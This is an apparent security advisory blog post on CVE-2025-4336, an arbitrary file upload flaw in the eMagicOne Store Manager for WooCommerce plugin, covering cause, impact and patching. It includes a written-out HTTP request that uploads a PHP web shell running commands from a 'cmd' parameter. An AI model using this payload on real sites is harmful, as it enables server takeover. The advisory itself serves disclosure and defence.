Overview
This blog post aims to shed light on a critical vulnerability found in the eMagicOne Store Manager for WooCommerce plugin for WordPress. The vulnerability, identified as CVE-2025-4336, enables unauthenticated attackers to upload arbitrary files on the server of the affected site. This is a serious concern as it potentially opens up avenues for remote code execution, leading to systemic compromise or data leakage. Any organization using versions up to, and including, 1.2.5 of this plugin is at risk and should take immediate action.

eMagicOne Store Manager for WooCommerce (WordPress plugin) | ≤ 1.2.5
How the Exploit Works
The vulnerability arises due to insufficient file type validation in the set_file() function of the eMagicOne Store Manager for WooCommerce plugin. This flaw allows an attacker to upload arbitrary files to the server hosting the affected website.
In default configurations where the password is left as 1:1 or in scenarios where the attacker has obtained valid credentials, the vulnerability can be exploited by unauthenticated attackers. This can potentially lead to remote code execution, allowing the attacker to execute arbitrary commands on the server and gain control over it.
Conceptual Example Code
Below is a hypothetical HTTP request an attacker might use to exploit the vulnerability:
POST /wp-content/plugins/woocommerce-store-manager/api.php HTTP/1.1
Host: targetsite.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
----WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php system($_GET['cmd']); ?>
----WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, the attacker attempts to upload a PHP file that, if executed on the server, would allow them to run arbitrary commands through the ‘cmd’ GET parameter.
Mitigation
The recommended mitigation strategy is to apply the vendor patch. For users who are unable to immediately apply the patch, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure.
Remember, the best defense against vulnerabilities like CVE-2025-4336 is a proactive security posture. Regularly patch and update your systems, perform comprehensive security audits, and train your staff to recognize potential security threats.
